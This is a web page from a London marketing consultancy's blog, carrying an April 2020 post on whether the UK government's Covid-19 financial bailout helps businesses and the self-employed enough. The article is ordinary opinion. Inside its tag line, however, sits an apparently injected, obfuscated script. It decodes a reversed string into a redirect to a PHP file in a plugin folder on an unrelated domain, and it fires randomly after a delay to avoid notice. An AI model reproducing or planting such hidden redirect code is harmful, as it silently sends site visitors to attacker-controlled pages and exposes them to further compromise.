FYAMI.
  • Home
  • About Us
    • Our Story
    • Success Stories
  • Knowledge Base
    • Ebooks and Whitepapers
    • Case Study
  • Services
    • On Demand Solutions
    • The One Package – CMO & CTO expertise when you need it.
    • Lead Generation
    • Marketing Consultancy
    • Webinar & Events Management
    • Email Marketing
    • Social Media Management
    • Marketing & Sales Training
    • Technology Solutions
    • Web Design
    • Content Writing
    • Public Relations (PR)
  • Blog
  • Contact
FYAMI.
  • Home
  • About Us
    • Our Story
    • Success Stories
  • Knowledge Base
    • Ebooks and Whitepapers
    • Case Study
  • Services
    • On Demand Solutions
    • The One Package – CMO & CTO expertise when you need it.
    • Lead Generation
    • Marketing Consultancy
    • Webinar & Events Management
    • Email Marketing
    • Social Media Management
    • Marketing & Sales Training
    • Technology Solutions
    • Web Design
    • Content Writing
    • Public Relations (PR)
  • Blog
  • Contact
  • Home
  • About Us
    • Our Story
    • Success Stories
  • Knowledge Base
    • Ebooks and Whitepapers
    • Case Study
  • Services
    • On Demand Solutions
    • The One Package – CMO & CTO expertise when you need it.
    • Lead Generation
    • Marketing Consultancy
    • Webinar & Events Management
    • Email Marketing
    • Social Media Management
    • Marketing & Sales Training
    • Technology Solutions
    • Web Design
    • Content Writing
    • Public Relations (PR)
  • Blog
  • Contact
  • Home
  • >
  • Blog
  • >
  • The UK governement corona virus ( Covid-19) financial ‘bailout.’ – Will it be sufficient to keep us all afloat?

The UK governement corona virus ( Covid-19) financial ‘bailout.’ – Will it be sufficient to keep us all afloat?

byFaye Eldridge inLatest News posted on10th April 2020
0

THE GOVERNMENT FINANCIAL BAILOUT – WILL IT BE SUFFICIENT TO KEEP US AFLOAT?

The Government has pledged to invest 330 Billion pounds into the economy – referred to as a ‘Bail Out’ for both businesses and employees as well as the self employed to help support us during this time of economic and financial uncertainty. This money is being dispensed in the forms of business loans, cash grants, rates relief and salary compensation up to 80%; the maximum salary awarded being £2,500 per month as well as other forms of financial ‘relief’ being brought forward..

However despite The Chancellor of the Exchequer being deemed a hero among many; becoming the face and representative of the people and personifying strength, hope and encouragement for the struggling economy and its employees – it’s not been a subject without controversy or complications.

Despite all his admirable efforts and the best and seemingly genuine intentions, the Government’s financial bailout strategy hasn’t been as straight forward as we hoped and need it to be, and arguably we’ve lacked clarity and clear direction.

According to recent figures, only 1000 Business Loans have so far been approved, and this doesn’t necessarily mean they have received any capital.

Banks are seemingly unwilling or reluctant to help, despite being supported by the government and the tax payer themselves during their own financial crisis in 2008. According to news reports and the Government’s daily briefings the Government is working closely and intensely with the banks fighting for our cause and on our behalf, however the banks are seemingly playing hard ball or at the very least slow to pass it, leaving millions treading water in financial uncertainty, fear and feelings of powerlessness. This has no doubt resulted in an increased anxious state of mental health for many of us across the UK at a time where anxiety and stress are already immeasurable and intolerable.

Whilst the process of claiming the salary supplement although timely seems somewhat more straightforward for PAYE employees, for the self employed – it’s a lot more complex. There are numerous restrictions, application and eligibility criteria, required paperwork submissions and a longer wait time – with reports claiming it would be late May at the earliest that any capital be paid out, with many saying with desperation and panic that they cannot afford to wait that long.

This has subsequently resulted in a colossal rise in applications for Universal Credit, but again with reduced staff in this sector and increasingly longer call wait times, these applications are also timely and to add to the worry, not guaranteed.

There is also no definitive date as to when claims will be active and when you have rent, bills, food costs and perhaps a family to support, this is causing dangerous levels of stress and anxiety at a time that is, as we’ve recognised is already rife with both.

The Government has also introduced Tax payment holidays, Council tax payment relaxation, Mortgage Payment Holidays and Protection for home renters, but once again with reduced staff in these sectors and offices it’s a timely process again with hugely lengthy call wait times with the majority of the population needing the same support and guidance.

We are of course encouraged to apply for all the financial support being offered online via their nominated websites, but we must spare a thought for those who don’t have access to these platforms for whatever reason..what about them.

It’s not just business and employees feeling the strain, entire industries are at risk too, as are their entire workforce. Carluccio’s– a household name and hospitality pillar has announced this week it has gone into administration already and The Foreign Secretary has told us to suspend all travel plans indefinitely.

The hospitality and travel industry are two of the most severely affected ‘industry casualties’ of the coronavirus crisis, and with no life support in the form of customers or end date to prepare or plan for,, will they ever be able to breathe on their own again.

Like everything synonymous with this crisis, sadly only time will tell.

Although the Government’s financial bailout was met with applause and relief which is positive news, it has been rife with misunderstanding. Despite the financial support strategies being offered, not everyone can buy peace of mind which is at the moment, is something we are all lacking and desperately yearning for.

But we can do our bit.

By supporting our local businesses, community and independent retailers that are still open, we can help to increase their chances of survival one day at a time, which at the moment, is all any of us can live by; both businesses and society.

Despite all our financial, personal and economic fears, our sense of community and togetherness has never felt so strong. Let’s support each-other as best we can, now during this crisis, and for evermore.

Retail Insight: Covid-19, Consumer Behaviour <script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>and Retail

Previous

FREE MARKETING OFFER - 3 MONTHS.

Next

Related Posts

21st April 2020
Has crime developed to take advantage of new technologies or have new technologies facilitated the commission of crime?  

Cyber crime is the collective name given to all forms of online or computerized...

No Comments
13th March 2020
How does a niche management consultancy fly to the top of Google? Financial Management case study: Success story

How does a niche management consultancy fly to the top of Google and gain leads...

No Comments
fyami
20th July 2020
6 Tips on how to get more sign-ups for your webinar  (Teams, google hang outs or Zoom…)

This week’s blog post is focused on how to increase the number of sign-ups for...

No Comments

Recent Posts

  • DeFi has grown over 88x in the last year, fuelling the financial revolution where De-Fi and consumers are both the winners. How?
  • 4 Reasons Why Lead Generation Will Help You Grow Your Business 
  • For SMEs in Kingston Upon Thames & Richmond Upon Thames – KT1, KT2, TW9, TW10.
  • CEO relational leadership and strategic decision quality in management teams: The role of team trust and learning from failure
  • Business consulting – Brief info on survey research and quantitative data – as part of DBA, doctor of business research.

Recent Comments

    Archives

    • February 2022
    • December 2020
    • November 2020
    • October 2020
    • September 2020
    • August 2020
    • July 2020
    • June 2020
    • May 2020
    • April 2020
    • March 2020
    • November 2018
    • October 2018
    • November 2017
    • September 2017
    • August 2017
    • July 2017

    Categories

    • Apps
    • Blog
    • CMO
    • Community
    • Consulting
    • Covid19
    • CTO
    • Digital
    • Finance
    • Latest News
    • MODERN WORKPLACE
    • Research
    • retail
    • SEO
    • Social Media
    • Software
    • Websites

    Blog Tags

    Ai b2b lead generation tech blog blogging Business help covid-19 Business help London Corona Virus case study CMO consulting content content writing Corona Virus business marketing covid19 CTO cyber crime cyber security Cyber security marketing consultant Cyber security Marketing director Cyber security marketing plan DIGITAL Digital Change finance landing page Lead Generation Richmond London London Marketing help Covid-19 Marketing Consultant Fulham Marketing Consultant Kingston Marketing consultant London Marketing Consultant Putney Marketing Consultant Richmond Marketing Freelance London Marketing Freelancer B2B Marketing Freelancer Richmond Marketing offer cheap Modern WorkPlace retail Richmond London Self employed Marketing Self employed marketing consultant Self employed marketing help Social media management Twitter South West London Marketing success story Technology business webinar

    At Fyami our team of driven and talented consultants specialise in full technology and marketing solutions for your business. We believe that the most ambitious and successful businesses need both – Exceptional marketing and exceptional technology.

    Find our more about us

    Our Services

    • Fyami Worldwide
    • Technology Solutions
    • Sales and Marketing Software
    • Web Design
    • Search Engine Optimization
    • FYAMI Grants

    Contacts

    179-181 Lower Richmond Road,
    Richmond, London, TW9 4LN
    Telephone
    020 8012 7949
    Email
    hello@fyami.com

    Privacy Policy | Terms & Conditions

    Social

    Join our social networks, get news and promotions

    Linkedin Twitter